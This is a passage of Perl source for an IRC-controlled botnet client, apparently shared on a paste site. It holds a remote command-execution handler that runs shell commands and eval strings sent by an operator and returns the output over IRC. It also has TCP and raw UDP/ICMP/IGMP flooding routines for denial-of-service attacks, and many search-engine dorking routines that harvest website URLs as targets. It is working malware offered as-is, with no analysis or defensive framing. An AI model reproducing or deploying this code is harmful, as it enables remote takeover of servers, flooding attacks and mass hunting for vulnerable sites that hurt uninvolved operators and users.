  1293.    }
  1294.  
  1295.    if ($case =~ /^eval (.*)/) {
  1296.       eval "$1";
  1297.    }
  1298. }
  1299.  
  1300. sub get_html() {
  1301. $test=$_[0];
  1302.  
  1303.       $ip=$_[1];
  1304.       $port=$_[2];
  1305.  
  1306. my $req=HTTP::Request->new(GET=>$test);
  1307. my $ua=LWP::UserAgent->new();
  1308. if(defined($ip) && defined($port)) {
  1309.       $ua->proxy("http","http://$ip:$port/");
  1310.       $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
  1311. }
  1312. $ua->timeout(1);
  1313. my $response=$ua->request($req);
  1314. if ($response->is_success) {
  1315.    $re=$response->content;
  1316. }
  1317. return $re;
  1318. }
  1319.  
  1320. sub addproc {
  1321.  
  1322.    my $proc=$_[0];
  1323.    my $dork=$_[1];
  1324.    
  1325.    open(FILE,">>/var/tmp/pids");
  1326.    print FILE $proc." [".$irc_servers{$IRC_cur_socket}{'nick'}."] $dork\n";
  1327.    close(FILE);
  1328. }
  1329.  
  1330.  
  1331. sub delproc {
  1332.  
  1333.    my $proc=$_[0];
  1334.    open(FILE,"/var/tmp/pids");
  1335.  
  1336.    while(<FILE>) {
  1337.       $_ =~ /(\d+)\s+(.*)/;
  1338.       $childs{$1}=$2;
  1339.    }
  1340.    close(FILE);
  1341.    delete($childs{$proc});
  1342.  
  1343.    open(FILE,">/var/tmp/pids");
  1344.  
  1345.    for $klucz (keys %childs) {
  1346.       print FILE $klucz." ".$childs{$klucz}."\n";
  1347.    }
  1348. }
  1349.  
  1350. sub shell {
  1351.    my $printl=$_[0];
  1352.    my $comando=$_[1];
  1353.    if ($comando =~ /cd (.*)/) {
  1354.       chdir("$1") || msg("$printl", "No such file or directory");
  1355.       return;
  1356.    } elsif ($pid = fork) {
  1357.       waitpid($pid, 0);
  1358.    } else {
  1359.       if (fork) {
  1360.          exit;
  1361.       } else {
  1362.          my @resp=`$comando 2>&1 3>&1`;
  1363.          my $c=0;
  1364.          foreach my $linha (@resp) {
  1365.             $c++;
  1366.             chop $linha;
  1367.             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  1368.             if ($c == "$linas_max") {
  1369.                $c=0;
  1370.                sleep $sleep;
  1371.             }
  1372.          }
  1373.          exit;
  1374.       }
  1375.    }
  1376. }
  1377.  
  1378. sub tcpflooder {
  1379.    my $itime = time;
  1380.    my ($cur_time);
  1381.    my ($ia,$pa,$proto,$j,$l,$t);
  1382.    $ia=inet_aton($_[0]);
  1383.    $pa=sockaddr_in($_[1],$ia);
  1384.    $ftime=$_[2];
  1385.    $proto=getprotobyname('tcp');
  1386.    $j=0;$l=0;
  1387.    $cur_time = time - $itime;
  1388.    while ($l<1000){
  1389.       $cur_time = time - $itime;
  1390.       last if $cur_time >= $ftime;
  1391.       $t="SOCK$l";
  1392.       socket($t,PF_INET,SOCK_STREAM,$proto);
  1393.       connect($t,$pa)||$j--;
  1394.       $j++;
  1395.       $l++;
  1396.    }
  1397.    $l=0;
  1398.    while ($l<1000){
  1399.       $cur_time = time - $itime;
  1400.       last if $cur_time >= $ftime;
  1401.       $t="SOCK$l";
  1402.       shutdown($t,2);
  1403.       $l++;
  1404.    }
  1405. }
  1406.  
  1407. sub udpflooder {
  1408.    my $iaddr = inet_aton($_[0]);
  1409.    my $msg = 'A' x $_[1];
  1410.    my $ftime = $_[2];
  1411.    my $cp = 0;
  1412.    my (%pacotes);
  1413.    $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  1414.    socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1415.    socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1416.    socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1417.    socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1418.    return(undef) if $cp == 4;
  1419.    my $itime = time;
  1420.    my ($cur_time);
  1421.    while ( 1 ) {
  1422.       for (my $porta = 1; $porta <= 65000; $porta++) {
  1423.          $cur_time = time - $itime;
  1424.          last if $cur_time >= $ftime;
  1425.          send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  1426.          send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  1427.          send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  1428.          send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  1429.          for (my $pc = 3; $pc <= 255;$pc++) {
  1430.             next if $pc == 6;
  1431.             $cur_time = time - $itime;
  1432.             last if $cur_time >= $ftime;
  1433.             socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1434.             send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  1435.          }
  1436.       }
  1437.       last if $cur_time >= $ftime;
  1438.    }
  1439.    return($cur_time, %pacotes);
  1440. }
  1441.  
  1442. sub ctcp {
  1443.    return unless $#_ == 1;
  1444.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  1445. }
  1446.  
  1447. sub msg {
  1448.    return unless $#_ == 1;
  1449.    sendraw("PRIVMSG $_[0] :$_[1]");
  1450. }
  1451.  
  1452. sub notice {
  1453.    return unless $#_ == 1;
  1454.    sendraw("NOTICE $_[0] :$_[1]");
  1455. }
  1456.  
  1457. sub op {
  1458.    return unless $#_ == 1;
  1459.    sendraw("MODE $_[0] +o $_[1]");
  1460. }
  1461.  
  1462. sub deop {
  1463.    return unless $#_ == 1;
  1464.    sendraw("MODE $_[0] -o $_[1]");
  1465. }
  1466.  
  1467. sub j {
  1468.    &join(@_);
  1469. }
  1470.  
  1471. sub join {
  1472.    return unless $#_ == 0;
  1473.    sendraw("JOIN $_[0]");
  1474. }
  1475.  
  1476. sub p {
  1477.    part(@_);
  1478. }
  1479.  
  1480. sub part {
  1481.    sendraw("PART $_[0]");
  1482. }
  1483.  
  1484. sub nick {
  1485.    return unless $#_ == 0;
  1486.    sendraw("NICK $_[0]");
  1487. }
  1488.  
  1489. sub quit {
  1490.    sendraw("QUIT :$_[0]");
  1491. }
  1492.  
  1493. sub fetch(){
  1494.    my $rnd=(int(rand(9999)));
  1495.    my $n= 80;
  1496.    if ($rnd<5000) {
  1497.       $n<<=1;
  1498.    }
  1499.    my $s= (int(rand(10)) * $n);
  1500.    my @dominios = ("removed-them-all");
  1501.    my @str;
  1502.    foreach $dom  (@dominios){
  1503.       push (@str,"@gstring");
  1504.    }
  1505.    my $query="www.google.com/search?q=";
  1506.    $query.=$str[(rand(scalar(@str)))];
  1507.    $query.="&num=$n&start=$s";
  1508.    my @lst=();
  1509.    sendraw("privmsg #debug :DEBUG only test googling: ".$query."");
  1510.    my $page = http_query($query);
  1511.    while ($page =~  m/<a href=\"?http:\/\/([^>\"]+)\"? class=l>/g){
  1512.       if ($1 !~ m/google|cache|translate/){
  1513.          push (@lst,$1);
  1514.       }
  1515.    }
  1516.    return (@lst);
  1517.  
  1518. sub yahoo(){
  1519. my @lst;
  1520. my $key = $_[0];
  1521. for($b=1;$b<=1000;$b+=100){
  1522. my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  1523. my $Res=query($Ya);
  1524. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  1525. my $k=$1;
  1526. $k=~s/<b>//g;
  1527. $k=~s/<\/b>//g;
  1528. $k=~s/<wbr>//g;
  1529. my @grep=links($k);
  1530. push(@lst,@grep);
  1531. }}
  1532. return @lst;
  1533. }
  1534.  
  1535. sub msn(){
  1536. my @lst;
  1537. my $key = $_[0];
  1538. for($b=1;$b<=1000;$b+=10){
  1539. my $msn=("http://search.msn.de/results.aspx?q=".key($key)."&first=".$b."&FORM=PORE");
  1540. my $Res=query($msn);
  1541. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1542. if($1 !~ /msn|live/){
  1543. my $k=$1;
  1544. my @grep=links($k);
  1545. push(@lst,@grep);
  1546. }}}
  1547. return @lst;
  1548. }
  1549.  
  1550. sub lycos(){
  1551. my $inizio=0;
  1552. my $pagine=20;
  1553. my $key=$_[0];
  1554. my $av=0;
  1555. my @lst;
  1556. while($inizio <= $pagine){
  1557. my $lycos="http://search.lycos.com/?query=".key($key)."&page=$av";
  1558. my $Res=query($lycos);
  1559. while ($Res=~ m/<span class=\"?grnLnk small\"?>http:\/\/(.+?)\//g ){
  1560. my $k="$1";
  1561. my @grep=links($k);
  1562. push(@lst,@grep);
  1563. }
  1564. $inizio++;
  1565. $av++;
  1566. }
  1567. return @lst;
  1568. }
  1569.  
  1570. #####
  1571. sub aol(){
  1572. my @lst;
  1573. my $key = $_[0];
  1574. for($b=1;$b<=100;$b++){
  1575. my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
  1576. my $Res=query($AoL);
  1577. while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
  1578. my $k=$1;
  1579. my @grep=links($k);
  1580. push(@lst,@grep);
  1581. }}
  1582. return @lst;
  1583. }
  1584. #####
  1585. sub ask(){
  1586. my @lst;
  1587. my $key=$_[0];
  1588. my $i=0;
  1589. my $pg=0;
  1590. for($i=0; $i<=1000; $i+=10)
  1591. {
  1592. my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
  1593. my $Res=query($Ask);
  1594. while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\a/g){
  1595. my $k=$3;
  1596. $k=~s/[\"\ ]//g;
  1597. my @grep=links($k);
  1598. push(@lst,@grep);
  1599. }}
  1600. return @lst;
  1601. }
  1602. #####
  1603. sub alltheweb()
  1604. {
  1605. my @lst;
  1606. my $key=$_[0];
  1607. my $i=0;
  1608. my $pg=0;
  1609. for($i=0; $i<=1000; $i+=100)
  1610. {
  1611. my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
  1612. my $Res=query($all);
  1613. while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
  1614. my $k=$1;
  1615. $k=~s/ //g;
  1616. my @grep=links($k);
  1617. push(@lst,@grep);
  1618. }}
  1619. return @lst;
  1620. }
  1621.  
  1622. sub google(){
  1623. my @lst;
  1624. my $key = $_[0];
  1625. for($b=0;$b<=100;$b+=100){
  1626. my $Go=("http://www.google.it/search?hl=it&q=".key($key)."&num=100&filter=0&start=".$b);
  1627. my $Res=query($Go);
  1628. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1629. if ($1 !~ /google/){
  1630. my $k=$1;
  1631. my @grep=links($k);
  1632. push(@lst,@grep);
  1633. }}}
  1634. return @lst;
  1635. }
  1636.  
  1637. #####
  1638. # SUBS SEARCH
  1639. #####
  1640. sub search(){
  1641. my @lst;
  1642. my $key = $_[0];
  1643. for($b=0;$b<=1000;$b+=100){
  1644. my $ser=("http://www.search.com/search?q=".key($key)."".$b);
  1645. my $Res=query($ser);
  1646. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1647. if ($1 !~ /msn|live|google|yahoo/){
  1648. my $k=$1;
  1649. my @grep=links($k);
  1650. push(@lst,@grep);
  1651. }}}
  1652. return @lst;
  1653. }
  1654.  
  1655. #####
  1656. # SUBS FireBall
  1657. #####
  1658. sub fireball(){
  1659. my $key=$_[0];
  1660. my $inicio=1;
  1661. my $pagina=200;
  1662. my @lst;
  1663. my $av=0;
  1664. while($inicio <= $pagina){
  1665. my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8";
  1666. my $Res=query($fireball);
  1667. while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){
  1668. if ($1 !~ /msn|live|google|yahoo/){
  1669. my $k="$1/";
  1670. my @grep=links($k);
  1671. push(@lst,@grep);
  1672. }}
  1673. $av=$av+10;
  1674. $inicio++;
  1675. }
  1676. return @lst;
  1677. }
  1678. #####
  1679. # SUBS UOL
  1680. #####
  1681. sub uol(){
  1682. my @lst;
  1683. my $key = $_[0];
  1684. for($b=1;$b<=1000;$b+=10){
  1685. my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);
  1686. my $Res=query($UoL);
  1687. while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
  1688. my $k=$1;
  1689. if($k!~/busca|uol|yahoo/){
  1690. my $k=$1;
  1691. my @grep=links($k);
  1692. push(@lst,@grep);
  1693. }}}
  1694. return @lst;
  1695. }
  1696.  
  1697. #####
  1698. # Altavista
  1699. #####
  1700. sub altavista(){
  1701. my @lst;
  1702. my $key = $_[0];
  1703. for($b=1;$b<=1000;$b+=10){
  1704. my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1705. my $Res=query($AlT);
  1706. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1707. if($1 !~ /altavista/){
  1708. my $k=$1;
  1709. $k=~s/<//g;
  1710. $k=~s/ //g;
  1711. my @grep=links($k);
  1712. push(@lst,@grep);
  1713. }}}
  1714. return @lst;
  1715. }
  1716.  
  1717. sub altavistade(){
  1718. my @lst;
  1719. my $key = $_[0];
  1720. for($b=1;$b<=1000;$b+=10){
  1721. my $AlT=("http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1722. my $Res=query($AlT);
  1723. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1724. if($1 !~ /altavista/){
  1725. my $k=$1;
  1726. $k=~s/<//g;
  1727. $k=~s/ //g;
  1728. my @grep=links($k);
  1729. push(@lst,@grep);
  1730. }}}
  1731. return @lst;
  1732. }
  1733.  
  1734. sub altavistaus(){
  1735. my @lst;
  1736. my $key = $_[0];
  1737. for($b=1;$b<=1000;$b+=10){
  1738. my $AlT=("http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1739. my $Res=query($AlT);
  1740. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1741. if($1 !~ /altavista/){
  1742. my $k=$1;
  1743. $k=~s/<//g;
  1744. $k=~s/ //g;
  1745. my @grep=links($k);
  1746. push(@lst,@grep);
  1747. }}}
  1748. return @lst;
  1749. }
  1750.  
  1751. #####
  1752. # HotBot
  1753. #####
  1754. sub hotbot(){
  1755. my @lst;
  1756. my $key = $_[0];
  1757. for($b=0;$b<=1000;$b+=100){
  1758. my $hot=("http://search.hotbot.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=hb_loc&enc=utf-8".$b);
  1759. my $Res=query($hot);
  1760. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1761. if ($1 !~ /msn|live|google|yahoo/){
  1762. my $k=$1;
  1763. my @grep=links($k);
  1764. push(@lst,@grep);
  1765. }}}
  1766. return @lst;
  1767. }
  1768.  
  1769.  
  1770. #####
  1771. # Mamma
  1772. #####
  1773. sub mamma(){
  1774. my @lst;
  1775. my $key = $_[0];
  1776. for($b=0;$b<=1000;$b+=100){
  1777. my $mam=("http://www.mamma.com/Mamma?utfout=$av&qtype=0&query=".key($key)."".$b);
  1778. my $Res=query($mam);
  1779. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1780. if ($1 !~ /msn|live|google|yahoo/){
  1781. my $k=$1;
  1782. my @grep=links($k);
  1783. push(@lst,@grep);
  1784. }}}
  1785. return @lst;
  1786. }
  1787.  
  1788. #####
  1789. # MozBot
  1790. #####
  1791. sub mozbot()
  1792. {
  1793. my @lst;
  1794. my $key=$_[0];
  1795. my $i=0;
  1796. my $pg=0;
  1797. for($i=0; $i<=100; $i+=1){
  1798. my $mozbot=("http://www.mozbot.fr/search?q=".key($key)."&st=int&page=".$i);
  1799. my $Res=query($mozbot);
  1800. while($Res =~ m/<a href=\"?http:\/\/(.+?)\" target/g){
  1801. my $k=$1;
  1802. $k=~s/ //g;
  1803. my @grep=links($k);
  1804. push(@lst,@grep);
  1805. }}
  1806. return @lst;
  1807. }
  1808.  
  1809. sub links()
  1810. {
  1811. my @l;
  1812. my $link=$_[0];
  1813. my $host=$_[0];
  1814. my $hdir=$_[0];
  1815. $hdir=~s/(.*)\/[^\/]*$/\1/;
  1816. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1817. $host.="/";
  1818. $link.="/";
  1819. $hdir.="/";
  1820. $host=~s/\/\//\//g;
  1821. $hdir=~s/\/\//\//g;
  1822. $link=~s/\/\//\//g;
  1823. push(@l,$link,$host,$hdir);
  1824. return @l;
  1825. }
  1826.  
  1827. sub geths(){
  1828. my $host=$_[0];
  1829. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1830. return $host;
  1831. }
  1832.  
  1833. sub key(){
  1834. my $chiave=$_[0];
  1835. $chiave =~ s/ /\+/g;
  1836. $chiave =~ s/:/\%3A/g;
  1837. $chiave =~ s/\//\%2F/g;
  1838. $chiave =~ s/&/\%26/g;
  1839. $chiave =~ s/\"/\%22/g;
  1840. $chiave =~ s/,/\%2C/g;
  1841. $chiave =~ s/\\/\%5C/g;
  1842. return $chiave;
  1843. }
  1844.  
  1845. sub query($){
  1846. my $url=$_[0];
  1847. $url=~s/http:\/\///;
  1848. my $host=$url;
  1849. my $query=$url;
  1850. my $page="";
  1851. $host=~s/href=\"?http:\/\///;
  1852. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1853. $query=~s/$host//;
  1854. if ($query eq "") {$query="/";};
  1855. eval {
  1856. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1857. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1858. my @r = <$sock>;
  1859. $page="@r";
  1860. close($sock);
  1861. };
  1862. return $page;
  1863. }
  1864.  
  1865. sub unici{
  1866. my @unici = ();
  1867. my %visti = ();
  1868. foreach my $elemento ( @_ )
  1869. {
  1870. next if $visti{ $elemento }++;
  1871. push @unici, $elemento;
  1872. }  
  1873. return @unici;
  1874. }
  1875.  
  1876. sub http_query($){
  1877. my ($url) = @_;
  1878. my $host=$url;
  1879. my $query=$url;
  1880. my $page="";
  1881. $host =~ s/href=\"?http:\/\///;
  1882. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1883. $query =~s/$host//;
  1884. if ($query eq "") {$query="/";};
  1885. eval {
  1886. local $SIG{ALRM} = sub { die "1";};
  1887. alarm 10;
  1888. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1889. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1890. my @r = <$sock>;
  1891. $page="@r";
  1892. alarm 0;
  1893. close($sock);
  1894. };
  1895. return $page;
  1896. }}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement